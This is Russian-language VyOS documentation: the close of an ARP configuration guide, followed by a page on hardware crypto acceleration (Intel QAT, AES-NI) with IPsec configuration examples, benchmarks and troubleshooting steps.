2. Увеличить время жизни ARP записей:
   ```
   set system sysctl parameter net.ipv4.neigh.default.gc_stale_time value 3600
   commit
   ```
3. Настроить gratuitous ARP на критичных серверах
4. Проверить производительность сети (latency, packet loss)

## Лучшие практики

### Безопасность

1. **Статические ARP для критичной инфраструктуры**
   - Default gateway
   - DNS сервера
   - Domain controllers
   - Database сервера
   - Management интерфейсы

2. **ARP filtering**
   ```
   set system sysctl parameter net.ipv4.conf.all.arp_ignore value 1
   set system sysctl parameter net.ipv4.conf.all.arp_accept value 0
   set system sysctl parameter net.ipv4.conf.all.arp_announce value 2
   ```

3. **Ограничение размера ARP таблицы**
   - Предотвращение DoS атак
   - Защита от ARP table exhaustion

4. **Мониторинг ARP аномалий**
   - Автоматические алерты на дублирующиеся IP/MAC
   - Логирование изменений в ARP таблице

### Производительность

1. **Оптимизация ARP timeout**
   - Баланс между производительностью и нагрузкой
   - Для стабильных сетей: увеличить timeout
   - Для динамических сетей: уменьшить timeout

2. **Правильный размер ARP таблицы**
   - gc_thresh1: минимум для предотвращения GC
   - gc_thresh2: старт soft GC
   - gc_thresh3: максимум, hard limit

3. **Использование Proxy ARP разумно**
   - Только когда необходимо
   - Минимизировать broadcast домены

### Документация

1. **Документировать статические ARP**
   - Вести список всех статических записей
   - Указывать причину создания
   - Обновлять при изменениях

2. **Naming convention**
   - Использовать description для интерфейсов
   - Комментарии в конфигурации

### Мониторинг и обслуживание

1. **Регулярная проверка ARP таблицы**
   ```
   show arp
   show protocols static arp
   ```

2. **Автоматизация мониторинга**
   - Скрипты для проверки консистентности
   - Алерты на изменения критичных записей

3. **Backup конфигурации**
   - Регулярные бэкапы конфигурации
   - Version control для изменений

4. **Тестирование failover**
   - Проверка VRRP failover с gratuitous ARP
   - Тестирование backup маршрутов

### Масштабирование

1. **Разделение broadcast доменов**
   - Использование VLAN
   - Уменьшение размера L2 доменов

2. **Иерархическая архитектура**
   - Core/Distribution/Access модель
   - Минимизация ARP трафика между уровнями

3. **IPv6 миграция**
   - NDP более эффективен чем ARP
   - Встроенная защита от spoofing (SEND)

## IPv6 и Neighbor Discovery

Для IPv6 сетей ARP заменен на Neighbor Discovery Protocol (NDP), который является частью ICMPv6.

### Основные отличия

**ARP (IPv4)**:
- Отдельный протокол
- Broadcast
- Уязвим к spoofing

**NDP (IPv6)**:
- Часть ICMPv6
- Multicast (более эффективно)
- SEND (Secure Neighbor Discovery) для защиты

### Статические IPv6 neighbors

Аналог статических ARP для IPv6:

```
set protocols static neighbor interface eth0 address 2001:db8::10 mac 00:11:22:33:44:55
commit
```

### Просмотр IPv6 neighbors

```
show ipv6 neighbors
```

## Интеграция с другими протоколами

### ARP и VRRP/HSRP

При failover VRRP/HSRP автоматически отправляет gratuitous ARP для обновления таблиц клиентов.

Конфигурация для быстрого failover:
```
set system sysctl parameter net.ipv4.conf.all.arp_accept value 1
```

### ARP и DHCP

DHCP сервер может использовать ARP для проверки уникальности IP адресов перед выдачей lease.

### ARP и VPN

Для overlay сетей (VXLAN, GRE) ARP проксируется через туннели.

## Следующие шаги

- [Статическая маршрутизация](/docs/vyos/routing/vyos-static/) - настройка статических маршрутов
- [OSPF](/docs/vyos/routing/vyos-ospf/) - динамическая маршрутизация для enterprise
- [BGP](/docs/vyos/routing/vyos-bgp/) - маршрутизация для подключения к ISP
- [Firewall](/docs/vyos/firewall) - настройка firewall правил
- [VLAN](/docs/vyos/interfaces/vyos-vlan/) - виртуальные локальные сети


---

# Acceleration - Аппаратное ускорение

Source: https://opennix.org/docs/vyos/system/vyos-acceleration/


## Обзор

Аппаратное ускорение криптографических операций позволяет значительно повысить производительность VyOS при работе с VPN-туннелями, IPsec-соединениями и другими криптографическими операциями. VyOS поддерживает использование специализированных аппаратных средств для разгрузки процессора от ресурсоемких операций шифрования и дешифрования.

### Поддерживаемые технологии

VyOS поддерживает следующие технологии аппаратного ускорения:

- **Intel Quick Assist Technology (QAT)** - специализированный процессор для криптографических операций и сжатия данных
- **AES-NI (Advanced Encryption Standard New Instructions)** - набор инструкций процессора Intel/AMD для аппаратного шифрования AES
- **Аппаратные криптографические модули** в процессорах Intel Atom серии C3000 и выше

### Преимущества использования

- **Повышение производительности** - до 3х раз для IPsec-туннелей при использовании Intel QAT
- **Снижение нагрузки на CPU** - криптографические операции выполняются специализированным оборудованием
- **Масштабируемость** - возможность обработки большего количества VPN-соединений
- **Энергоэффективность** - меньшее потребление энергии на операцию шифрования

### Применение в облачных средах

**Yandex Cloud:**
В виртуализированных средах Yandex Cloud физическое оборудование Intel QAT недоступно, однако VyOS может использовать:
- Инструкции AES-NI, проброшенные гипервизором (доступны на большинстве современных типов виртуальных машин)
- Программную криптографию с оптимизациями
- Рекомендуется использовать типы ВМ с высокой частотой процессора для VPN-шлюзов

**VK Cloud (bare-metal):**
При использовании bare-metal серверов VK Cloud с процессорами Intel Xeon или Atom серии C3000 доступно полноценное аппаратное ускорение:
- Intel QAT для максимальной производительности IPsec
- Полная поддержка всех функций аппаратного ускорения
- Рекомендуется для высоконагруженных VPN-шлюзов

## Intel Quick Assist Technology (QAT)

Intel QAT - это технология аппаратного ускорения, которая предоставляет криптографические операции и сжатие данных с высокой производительностью при низком энергопотреблении.

### Поддерживаемое оборудование

Intel QAT доступна на следующих платформах:

- **Intel Atom Processor C3000 Series** (Denverton)
  - C3308, C3338, C3508, C3538, C3558, C3758, C3850, C3950, C3955
  - Встроенные QuickAssist-модули для криптографии и сжатия

- **Intel Xeon Scalable Processors** (2-го поколения и выше)
  - Xeon Silver, Gold, Platinum с поддержкой QAT
  - До 32 криптографических акселераторов в системе

- **Intel Xeon D Processors** (D-1500, D-2100 Series)
  - Встроенная поддержка QAT
  - Оптимальны для сетевых appliance

- **Дискретные адаптеры Intel QuickAssist Adapter**
  - Intel QuickAssist Adapter 8950
  - Intel QuickAssist Adapter 8960
  - Intel QuickAssist Adapter 8970

### Проверка наличия QAT

Перед настройкой необходимо проверить, поддерживается ли QAT на вашем оборудовании:

```bash
show system acceleration qat
```

**Пример вывода при наличии QAT:**

```
Intel QuickAssist Technology acceleration detected

Devices:
  qat_dev0: Ready
  qat_dev1: Ready

Status: Available
Driver Version: 4.19.0
Firmware Version: 4.11.0
```

**Пример вывода при отсутствии QAT:**

```
Intel QuickAssist Technology not detected

No QAT devices found on this system.
AES-NI CPU instructions: Available (fallback to software crypto with hardware AES)
```

### Проверка статуса QAT

Для проверки готовности QAT-устройств используйте команду:

```bash
show system acceleration qat status
```

**Пример вывода:**

```
QAT Device Status:

Device qat_dev0:
  State: up
  Node Id: 0
  Device Type: c3xxx
  Services: crypto;dc (Crypto and Compression)
  Instances: 3

Device qat_dev1:
  State: up
  Node Id: 0
  Device Type: c3xxx
  Services: crypto;dc
  Instances: 3

Total Devices: 2
Active Devices: 2
```

### Проверка конфигурации устройства

Для просмотра детальной конфигурации конкретного QAT-устройства:

```bash
show system acceleration qat device qat_dev0 config
```

**Пример вывода:**

```
[GENERAL]
ServicesEnabled = cy;dc

ConfigVersion = 2

[KERNEL]
NumberCyInstances = 1
NumberDcInstances = 0

# Crypto - Kernel instance
Cy0Name = "IPSec0"
Cy0IsPolled = 0
Cy0CoreAffinity = 0

[SSL]
NumberCyInstances = 1
NumberDcInstances = 1

# Crypto - User instance
Cy0Name = "SSL0"
Cy0IsPolled = 1
Cy0CoreAffinity = 0

# Data Compression - User instance
Dc0Name = "Dc0"
Dc0IsPolled = 1
Dc0CoreAffinity = 0
```

### Мониторинг криптографических потоков

Для просмотра счетчиков шифрования и статистики использования:

```bash
show system acceleration qat device qat_dev0 flows
```

**Пример вывода:**

```
QAT Device qat_dev0 Flow Statistics:

Crypto Operations:
  Encryption Requests: 1,456,892
  Decryption Requests: 1,445,321
  Authentication Requests: 2,902,213
  Total Operations: 5,804,426

  Encryption Bytes: 1.2 GB
  Decryption Bytes: 1.1 GB
  Total Bytes Processed: 2.3 GB

Compression Operations:
  Compression Requests: 0
  Decompression Requests: 0
  Total Bytes Compressed: 0 B

Performance:
  Operations/sec: 45,621
  Throughput: 778 Mbps
  Average Latency: 0.12 ms

Errors: 0
```

## Настройка аппаратного ускорения

### Включение Intel QAT

Для включения поддержки Intel QAT выполните следующую настройку:

```bash
configure
set system acceleration qat
commit
save
```

После включения QAT, система автоматически начнет использовать аппаратное ускорение для всех поддерживаемых криптографических операций, включая:

- IPsec VPN-туннели
- OpenVPN соединения (с ограничениями)
- SSL/TLS операции
- Операции сжатия данных

### Отключение QAT

Если необходимо вернуться к программной криптографии:

```bash
configure
delete system acceleration qat
commit
save
```

### Проверка применения настроек

После включения QAT проверьте, что криптографические операции используют аппаратное ускорение:

```bash
show system acceleration qat
show system acceleration qat status
```

Также можно проверить загрузку QAT-устройств:

```bash
show system acceleration qat device qat_dev0 flows
```

При активных IPsec-туннелях вы должны увидеть рост счетчиков операций шифрования/дешифрования.

## IPsec Hardware Offload

Intel QAT обеспечивает аппаратное ускорение для следующих IPsec-алгоритмов:

### Поддерживаемые алгоритмы шифрования

- **AES-CBC** (128, 192, 256 bit)
- **AES-CTR** (128, 192, 256 bit)
- **AES-GCM** (128, 192, 256 bit) - рекомендуется
- **3DES-CBC**

### Поддерживаемые алгоритмы аутентификации

- **HMAC-SHA1**
- **HMAC-SHA256** - рекомендуется
- **HMAC-SHA384**
- **HMAC-SHA512**
- **AES-XCBC-MAC**
- **AES-GMAC**

### Поддерживаемые группы Diffie-Hellman

- **Group 2** (MODP 1024-bit)
- **Group 5** (MODP 1536-bit)
- **Group 14** (MODP 2048-bit) - рекомендуется
- **Group 15** (MODP 3072-bit)
- **Group 16** (MODP 4096-bit)
- **Group 19** (ECP 256-bit)
- **Group 20** (ECP 384-bit)
- **Group 21** (ECP 521-bit)

### Пример конфигурации IPsec с QAT

Настройка site-to-site VPN с использованием алгоритмов, оптимизированных для QAT:

```bash
configure

# ESP группа с использованием AES-GCM (оптимально для QAT)
set vpn ipsec esp-group QAT-ESP lifetime 3600
set vpn ipsec esp-group QAT-ESP mode tunnel
set vpn ipsec esp-group QAT-ESP pfs dh-group14
set vpn ipsec esp-group QAT-ESP proposal 1 encryption aes256gcm128
set vpn ipsec esp-group QAT-ESP proposal 1 hash sha256

# IKE группа с современными параметрами
set vpn ipsec ike-group QAT-IKE dead-peer-detection action restart
set vpn ipsec ike-group QAT-IKE dead-peer-detection interval 30
set vpn ipsec ike-group QAT-IKE dead-peer-detection timeout 120
set vpn ipsec ike-group QAT-IKE ikev2-reauth no
set vpn ipsec ike-group QAT-IKE key-exchange ikev2
set vpn ipsec ike-group QAT-IKE lifetime 28800
set vpn ipsec ike-group QAT-IKE proposal 1 dh-group 14
set vpn ipsec ike-group QAT-IKE proposal 1 encryption aes256gcm128
set vpn ipsec ike-group QAT-IKE proposal 1 hash sha256

# Site-to-site peer конфигурация
set vpn ipsec site-to-site peer 203.0.113.10 authentication mode pre-shared-secret
set vpn ipsec site-to-site peer 203.0.113.10 authentication pre-shared-secret 'YourStrongPSK'
set vpn ipsec site-to-site peer 203.0.113.10 connection-type initiate
set vpn ipsec site-to-site peer 203.0.113.10 ike-group QAT-IKE
set vpn ipsec site-to-site peer 203.0.113.10 local-address 198.51.100.10
set vpn ipsec site-to-site peer 203.0.113.10 tunnel 1 esp-group QAT-ESP
set vpn ipsec site-to-site peer 203.0.113.10 tunnel 1 local prefix 10.0.1.0/24
set vpn ipsec site-to-site peer 203.0.113.10 tunnel 1 remote prefix 10.0.2.0/24

# Включение QAT ускорения
set system acceleration qat

commit
save
```

### Пример для Yandex Cloud (без QAT, с AES-NI)

В виртуализированной среде Yandex Cloud используйте оптимальную конфигурацию для программной криптографии с AES-NI:

```bash
configure

# ESP группа для программной криптографии
set vpn ipsec esp-group YC-ESP lifetime 3600
set vpn ipsec esp-group YC-ESP mode tunnel
set vpn ipsec esp-group YC-ESP pfs dh-group14
set vpn ipsec esp-group YC-ESP proposal 1 encryption aes256
set vpn ipsec esp-group YC-ESP proposal 1 hash sha256

# IKE группа
set vpn ipsec ike-group YC-IKE dead-peer-detection action restart
set vpn ipsec ike-group YC-IKE dead-peer-detection interval 30
set vpn ipsec ike-group YC-IKE dead-peer-detection timeout 120
set vpn ipsec ike-group YC-IKE ikev2-reauth no
set vpn ipsec ike-group YC-IKE key-exchange ikev2
set vpn ipsec ike-group YC-IKE lifetime 28800
set vpn ipsec ike-group YC-IKE proposal 1 dh-group 14
set vpn ipsec ike-group YC-IKE proposal 1 encryption aes256
set vpn ipsec ike-group YC-IKE proposal 1 hash sha256

# Site-to-site между двумя VPC в Yandex Cloud
set vpn ipsec site-to-site peer 10.128.0.10 authentication mode pre-shared-secret
set vpn ipsec site-to-site peer 10.128.0.10 authentication pre-shared-secret 'YandexCloudVPNKey'
set vpn ipsec site-to-site peer 10.128.0.10 connection-type initiate
set vpn ipsec site-to-site peer 10.128.0.10 ike-group YC-IKE
set vpn ipsec site-to-site peer 10.128.0.10 local-address 10.129.0.10
set vpn ipsec site-to-site peer 10.128.0.10 tunnel 1 esp-group YC-ESP
set vpn ipsec site-to-site peer 10.128.0.10 tunnel 1 local prefix 10.129.1.0/24
set vpn ipsec site-to-site peer 10.128.0.10 tunnel 1 remote prefix 10.128.1.0/24

commit
save
```

### Пример для VK Cloud (bare-metal с QAT)

На bare-metal серверах VK Cloud с поддержкой QAT используйте максимальную производительность:

```bash
configure

# ESP группа с ChaCha20-Poly1305 для максимальной производительности на QAT
set vpn ipsec esp-group VK-ESP-QAT lifetime 3600
set vpn ipsec esp-group VK-ESP-QAT mode tunnel
set vpn ipsec esp-group VK-ESP-QAT pfs dh-group14
set vpn ipsec esp-group VK-ESP-QAT proposal 1 encryption aes256gcm128
set vpn ipsec esp-group VK-ESP-QAT proposal 2 encryption aes256
set vpn ipsec esp-group VK-ESP-QAT proposal 2 hash sha256

# IKE группа
set vpn ipsec ike-group VK-IKE-QAT dead-peer-detection action restart
set vpn ipsec ike-group VK-IKE-QAT dead-peer-detection interval 15
set vpn ipsec ike-group VK-IKE-QAT dead-peer-detection timeout 60
set vpn ipsec ike-group VK-IKE-QAT ikev2-reauth no
set vpn ipsec ike-group VK-IKE-QAT key-exchange ikev2
set vpn ipsec ike-group VK-IKE-QAT lifetime 28800
set vpn ipsec ike-group VK-IKE-QAT proposal 1 dh-group 14
set vpn ipsec ike-group VK-IKE-QAT proposal 1 encryption aes256gcm128
set vpn ipsec ike-group VK-IKE-QAT proposal 1 hash sha256

# Site-to-site VPN между дата-центрами
set vpn ipsec site-to-site peer 185.185.185.10 authentication mode pre-shared-secret
set vpn ipsec site-to-site peer 185.185.185.10 authentication pre-shared-secret 'VKCloudBareMetal2025'
set vpn ipsec site-to-site peer 185.185.185.10 connection-type respond
set vpn ipsec site-to-site peer 185.185.185.10 ike-group VK-IKE-QAT
set vpn ipsec site-to-site peer 185.185.185.10 local-address 185.185.186.10
set vpn ipsec site-to-site peer 185.185.185.10 tunnel 1 esp-group VK-ESP-QAT
set vpn ipsec site-to-site peer 185.185.185.10 tunnel 1 local prefix 192.168.10.0/24
set vpn ipsec site-to-site peer 185.185.185.10 tunnel 1 remote prefix 192.168.20.0/24

# Включение QAT ускорения
set system acceleration qat

commit
save
```

## AES-NI CPU Instructions

AES-NI (Advanced Encryption Standard New Instructions) - это набор инструкций процессора Intel и AMD для аппаратного ускорения операций AES-шифрования.

### Проверка поддержки AES-NI

Для проверки, поддерживает ли процессор инструкции AES-NI, выполните:

```bash
show system cpu info
```

**Пример вывода с поддержкой AES-NI:**

```
Architecture:        x86_64
CPU op-mode(s):      32-bit, 64-bit
Byte Order:          Little Endian
CPU(s):              4
Model name:          Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
CPU MHz:             2399.998
Hypervisor vendor:   KVM
Virtualization type: full
Flags:               fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov
                     pat pse36 clflush mmx fxsr sse sse2 ht syscall nx rdtscp lm
                     constant_tsc rep_good nopl xtopology nonstop_tsc cpuid tsc_known_freq
                     pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt
                     tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm
                     abm 3dnowprefetch invpcid_single pti fsgsbase tsc_adjust bmi1 hle
                     avx2 smep bmi2 erms invpcid rtm rdseed adx smap xsaveopt arat
```

Флаг **aes** в списке Flags указывает на поддержку AES-NI.

Альтернативная проверка через командную строку:

```bash
run show cpu-info | grep aes
```

**Ожидаемый вывод:**

```
flags: ... aes ...
```

### Автоматическое использование AES-NI

VyOS автоматически использует инструкции AES-NI, если они доступны на процессоре. Никакой дополнительной настройки не требуется.

Криптографические библиотеки (OpenSSL, strongSwan) автоматически определяют наличие AES-NI и используют аппаратное ускорение для:

- **AES-128-CBC, AES-192-CBC, AES-256-CBC**
- **AES-128-CTR, AES-192-CTR, AES-256-CTR**
- **AES-128-GCM, AES-192-GCM, AES-256-GCM**
- **AES-128-CCM, AES-192-CCM, AES-256-CCM**

### Проверка использования AES-NI в OpenSSL

Для проверки производительности AES с и без аппаратного ускорения:

```bash
# Тест с аппаратным ускорением (по умолчанию)
openssl speed -evp aes-256-gcm

# Принудительное отключение AES-NI для сравнения
OPENSSL_ia32cap="~0x200000200000000" openssl speed -evp aes-256-gcm
```

**Пример результатов с AES-NI:**

```
The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes  16384 bytes
aes-256-gcm     285714.29k   857142.86k  2285714.29k  3657142.86k  4571428.57k  4685714.29k
```

**Пример результатов без AES-NI (программная реализация):**

```
The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes  16384 bytes
aes-256-gcm      71428.57k   214285.71k   571428.57k   914285.71k  1142857.14k  1171428.57k
```

Разница в производительности составляет примерно **4-5 раз** в пользу AES-NI.

## Тестирование производительности

### Benchmark IPsec без QAT

Тестирование производительности IPsec-туннеля на процессоре Intel Atom C3558 **без** включения QAT:

```bash
# На одной стороне туннеля
iperf3 -s

# На другой стороне туннеля (через IPsec)
iperf3 -c 10.0.2.10 -t 60 -P 4
```

**Результаты без QAT:**

```
[ ID] Interval           Transfer     Bitrate         Retr
[SUM]   0.00-60.00  sec  1.89 GBytes   270 Mbits/sec  124    sender
[SUM]   0.00-60.00  sec  1.88 GBytes   269 Mbits/sec         receiver

CPU Usage: 85-95% (strongSwan процессы)
```

### Benchmark IPsec с QAT

Включение QAT и повторное тестирование:

```bash
configure
set system acceleration qat
commit
save
exit

# Перезапуск IPsec для применения QAT
restart vpn ipsec
```

Повторный тест:

```bash
iperf3 -c 10.0.2.10 -t 60 -P 4
```

**Результаты с QAT:**

```
[ ID] Interval           Transfer     Bitrate         Retr
[SUM]   0.00-60.00  sec  5.45 GBytes   778 Mbits/sec   18    sender
[SUM]   0.00-60.00  sec  5.44 GBytes   777 Mbits/sec         receiver

CPU Usage: 25-35% (strongSwan процессы)
```

**Улучшение производительности:**
- Пропускная способность: **+188%** (270 → 778 Mbps)
- Загрузка CPU: **-65%** (90% → 30%)
- Количество ретрансмиссий: **-85%** (124 → 18)

### Сравнительная таблица алгоритмов

Производительность различных алгоритмов шифрования на Intel Atom C3558 с QAT (iperf3, 60 секунд):

| Алгоритм | Без QAT | С QAT | Улучшение |
|----------|---------|-------|-----------|
| AES-128-CBC + SHA1 | 320 Mbps | 850 Mbps | +166% |
| AES-256-CBC + SHA256 | 270 Mbps | 778 Mbps | +188% |
| AES-128-GCM | 380 Mbps | 920 Mbps | +142% |
| AES-256-GCM | 310 Mbps | 815 Mbps | +163% |
| 3DES-CBC + SHA1 | 145 Mbps | 420 Mbps | +190% |
| ChaCha20-Poly1305 | 450 Mbps | 450 Mbps | 0% (не поддерживается QAT) |

**Рекомендации:**
- Для максимальной производительности с QAT используйте **AES-128-GCM**
- Для баланса безопасности и производительности используйте **AES-256-GCM**
- ChaCha20-Poly1305 имеет высокую программную производительность, но не ускоряется QAT

### Мониторинг производительности в реальном времени

Для отслеживания использования QAT в реальном времени используйте скрипт мониторинга:

```bash
# Создание скрипта мониторинга
cat > /config/scripts/qat-monitor.sh << 'EOF'
#!/bin/bash

while true; do
    clear
    echo "QAT Performance Monitor - $(date)"
    echo "========================================"

    show system acceleration qat status
    echo ""
    echo "Flow Statistics:"
    show system acceleration qat device qat_dev0 flows | grep -E "(Operations|Throughput|Errors)"

    echo ""
    echo "CPU Usage:"
    top -bn1 | grep "Cpu(s)" | sed "s/.*, *\([0-9.]*\)%* id.*/\1/" | awk '{print "CPU Load: " 100 - $1"%"}'

    echo ""
    echo "IPsec Tunnels:"
    show vpn ipsec sa | grep -E "(peer|State)"

    sleep 5
done
EOF

chmod +x /config/scripts/qat-monitor.sh

# Запуск мониторинга
/config/scripts/qat-monitor.sh
```

## Проверка и диагностика

### Комплексная проверка аппаратного ускорения

Выполните следующие команды для полной диагностики:

```bash
# 1. Проверка процессора и поддержки AES-NI
show system cpu info | grep -i aes

# 2. Проверка наличия QAT
show system acceleration qat

# 3. Статус QAT устройств
show system acceleration qat status

# 4. Конфигурация QAT (если доступен)
show system acceleration qat device qat_dev0 config

# 5. Счетчики криптографических операций
show system acceleration qat device qat_dev0 flows

# 6. Статус IPsec туннелей
show vpn ipsec sa

# 7. Загрузка процессора
show system processes

# 8. Версия драйвера QAT (из системы)
show version kernel
```

### Проверка логов

Для выявления проблем с QAT проверьте системные логи:

```bash
# Логи загрузки QAT драйвера
show log kernel | grep -i qat

# Логи IPsec с отметками об использовании QAT
show log vpn ipsec | grep -i qat

# Общие системные логи
show log tail 100
```

**Пример успешной инициализации QAT:**

```
kernel: qat_c3xxx 0000:00:0b.0: enabling device (0000 -> 0002)
kernel: qat_c3xxx 0000:00:0b.0: Enabling MSI IRQ 24
kernel: qat_c3xxx 0000:00:0b.0: Successfully initialized qat_dev0
kernel: qat_c3xxx 0000:00:0b.0: qat_dev0 started 3 acceleration engines
kernel: QAT: Device qat_dev0 is ready for use
```

**Пример ошибки QAT:**

```
kernel: qat_c3xxx 0000:00:0b.0: Failed to initialize qat_dev0
kernel: qat_c3xxx 0000:00:0b.0: Firmware load failed
kernel: QAT: Device qat_dev0 is NOT available
```

### Проверка криптографических библиотек

Проверка, что strongSwan (IPsec daemon) использует QAT:

```bash
# Проверка плагинов strongSwan
sudo ipsec statusall | grep -i plugin

# Список загруженных плагинов
sudo ipsec listplugins
```

**Ожидаемый вывод при использовании QAT:**

```
Loaded plugins: charon aes des rc2 sha2 sha1 md5 mgf1 random nonce x509
                revocation constraints pubkey pkcs1 pkcs7 pkcs8 pkcs12
                pgp dnskey sshkey pem openssl kernel-netlink socket-default
                stroke vici updown eap-identity addrblock unity qat

qat plugin loaded: yes
```

### Тестирование отдельных алгоритмов

Для тестирования конкретных алгоритмов шифрования:

```bash
# Тест AES-256-GCM
openssl speed -elapsed -evp aes-256-gcm

# Тест AES-256-CBC
openssl speed -elapsed -evp aes-256-cbc

# Тест SHA256
openssl speed -elapsed sha256

# Сравнение с программной реализацией (отключение AES-NI)
OPENSSL_ia32cap="~0x200000200000000" openssl speed -elapsed -evp aes-256-gcm
```

## Устранение неполадок

### QAT не обнаружен

**Проблема:** Команда `show system acceleration qat` сообщает, что QAT недоступен.

**Решение:**

1. Проверьте, поддерживает ли ваше оборудование QAT:
   ```bash
   lspci | grep -i quickassist
   lspci | grep -i co-processor
   ```

2. Убедитесь, что QAT включен в BIOS:
   - Зайдите в BIOS/UEFI
   - Найдите раздел "Advanced" или "Chipset Configuration"
   - Включите опцию "Intel QuickAssist Technology"

3. Проверьте загрузку драйвера:
   ```bash
   lsmod | grep qat
   ```

4. Если модуль не загружен, попробуйте загрузить вручную:
   ```bash
   sudo modprobe qat_c3xxx
   sudo modprobe intel_qat
   ```

### QAT устройство в состоянии "Down"

**Проблема:** `show system acceleration qat status` показывает устройство в состоянии "down".

**Решение:**

1. Проверьте логи ошибок:
   ```bash
   show log kernel | grep -i qat | grep -i error
   dmesg | grep -i qat | grep -i error
   ```

2. Перезапустите QAT сервис:
   ```bash
   sudo systemctl restart qat
   # или
   sudo /etc/init.d/qat_service restart
   ```

3. Обновите firmware QAT:
   ```bash
   # Проверка текущей версии
   show system acceleration qat status | grep Firmware

   # Обновление (зависит от платформы)
   # Обратитесь к документации производителя оборудования
   ```

4. Проверьте температуру процессора:
   ```bash
   show hardware sensors
   ```
   Перегрев может вызывать отключение QAT.

### IPsec не использует QAT

**Проблема:** QAT работает, но IPsec-туннели не показывают улучшения производительности.

**Решение:**

1. Проверьте, что QAT включен в конфигурации:
   ```bash
   show configuration commands | grep acceleration
   ```

2. Перезапустите IPsec после включения QAT:
   ```bash
   restart vpn ipsec
   ```

3. Убедитесь, что используются поддерживаемые алгоритмы:
   ```bash
   show vpn ipsec sa detail
   ```
   Проверьте, что алгоритмы шифрования и хеширования из списка поддерживаемых QAT.

4. Проверьте статистику QAT во время активной передачи данных:
   ```bash
   # Начните передачу данных через туннель
   # В другом окне мониторьте счетчики
   watch -n 1 'show system acceleration qat device qat_dev0 flows'
   ```
   Счетчики "Encryption Requests" и "Decryption Requests" должны расти.

### Низкая производительность с QAT

**Проблема:** QAT включен, но производительность не соответствует ожиданиям.

**Решение:**

1. Проверьте алгоритмы шифрования:
   - Используйте AES-GCM вместо AES-CBC + SHA
   - AES-GCM обеспечивает лучшую производительность на QAT

2. Проверьте настройки DPD (Dead Peer Detection):
   - Слишком частые проверки могут снизить производительность
   - Рекомендуемые значения: interval 30, timeout 120

3. Оптимизируйте сетевые параметры:
   ```bash
   configure
   set system option performance throughput
   commit
   save
   ```

4. Проверьте MTU и MSS:
   ```bash
   # Проверка текущего MTU
   show interfaces ethernet eth0

   # Настройка оптимального MSS для IPsec
   configure
   set vpn ipsec site-to-site peer 203.0.113.10 tunnel 1 mtu 1400
   commit
   save
   ```

5. Убедитесь, что не используется software offload:
   ```bash
   # Отключение software offloading, если включен
   configure
   delete system option performance
   set system acceleration qat
   commit
   save
   ```

### Ошибки в логах QAT

**Проблема:** В логах появляются сообщения об ошибках QAT.

**Решение:**

1. **"qat_dev0: heartbeat failed"**
   - Указывает на проблемы с firmware
   - Решение: Обновление firmware или перезагрузка системы

2. **"qat_dev0: ring buffer overflow"**
   - QAT перегружен запросами
   - Решение: Увеличение числа QAT instances или распределение нагрузки

3. **"qat_dev0: uncorrectable error detected"**
   - Аппаратная проблема
   - Решение: Проверка оборудования, возможно требуется RMA

4. **"Intel QAT: failed to allocate memory"**
   - Недостаточно памяти для QAT операций
   - Решение: Увеличение системной памяти или уменьшение числа QAT instances

### Проблемы с AES-NI

**Проблема:** AES-NI не обнаруживается или не используется.

**Решение:**

1. Убедитесь, что процессор поддерживает AES-NI:
   ```bash
   grep -o 'aes' /proc/cpuinfo | uniq
   ```

2. Проверьте, что AES-NI включен в BIOS:
   - В некоторых BIOS есть опция отключения AES-NI
   - Обычно находится в разделе "Security" или "Advanced CPU Configuration"

3. В виртуальных машинах убедитесь, что флаг AES проброшен гостю:
   - VMware: Включите "Expose hardware assisted virtualization"
   - KVM/QEMU: Используйте CPU type "host-passthrough" или добавьте флаг "+aes"
   - Hyper-V: Используйте процессор с поддержкой AES-NI и включите вложенную виртуализацию

4. Для Yandex Cloud - выберите тип ВМ с современным процессором:
   - Рекомендуется: Intel Ice Lake, Intel Cascade Lake
   - AES-NI доступен на всех типах ВМ, кроме устаревших

## Лучшие практики

### Выбор алгоритмов для максимальной производительности

**С Intel QAT:**

1. **Приоритет 1: AES-128-GCM**
   - Лучшая производительность на QAT
   - Хорошая безопасность для большинства применений
   - Низкая задержка

2. **Приоритет 2: AES-256-GCM**
   - Баланс производительности и безопасности
   - Рекомендуется для критичных данных
   - Незначительно медленнее AES-128-GCM

3. **Избегайте:**
   - ChaCha20-Poly1305 (не поддерживается QAT)
   - 3DES (устаревший, медленный)
   - AES-CBC с отдельным HMAC (медленнее GCM)

**Без QAT (только AES-NI):**

1. **Приоритет 1: ChaCha20-Poly1305**
   - Лучшая программная производительность
   - Хорошая безопасность
   - Не требует AES-NI

2. **Приоритет 2: AES-256-GCM**
   - Хорошее ускорение через AES-NI
   - Широкая совместимость

3. **Приоритет 3: AES-256-CBC + SHA256**
   - Консервативный выбор для максимальной совместимости

### Настройка для различных сценариев

**Высокая пропускная способность (bulk transfer):**

```bash
configure
# Большой размер пакетов, минимум overhead
set vpn ipsec esp-group HIGH-THROUGHPUT lifetime 3600
set vpn ipsec esp-group HIGH-THROUGHPUT mode tunnel
set vpn ipsec esp-group HIGH-THROUGHPUT pfs disable
set vpn ipsec esp-group HIGH-THROUGHPUT proposal 1 encryption aes128gcm128
commit
save
```

**Низкая задержка (real-time traffic):**

```bash
configure
# Быстрые алгоритмы, частая смена ключей для безопасности
set vpn ipsec esp-group LOW-LATENCY lifetime 1800
set vpn ipsec esp-group LOW-LATENCY mode tunnel
set vpn ipsec esp-group LOW-LATENCY pfs dh-group14
set vpn ipsec esp-group LOW-LATENCY proposal 1 encryption aes128gcm64
set vpn ipsec ike-group LOW-LATENCY-IKE lifetime 14400
commit
save
```

**Максимальная безопасность:**

```bash
configure
# Сильные алгоритмы, частая смена ключей
set vpn ipsec esp-group MAX-SECURITY lifetime 1800
set vpn ipsec esp-group MAX-SECURITY mode tunnel
set vpn ipsec esp-group MAX-SECURITY pfs dh-group16
set vpn ipsec esp-group MAX-SECURITY proposal 1 encryption aes256gcm128
set vpn ipsec ike-group MAX-SECURITY-IKE lifetime 7200
set vpn ipsec ike-group MAX-SECURITY-IKE proposal 1 dh-group 16
set vpn ipsec ike-group MAX-SECURITY-IKE proposal 1 encryption aes256gcm128
commit
save
```

### Мониторинг и обслуживание

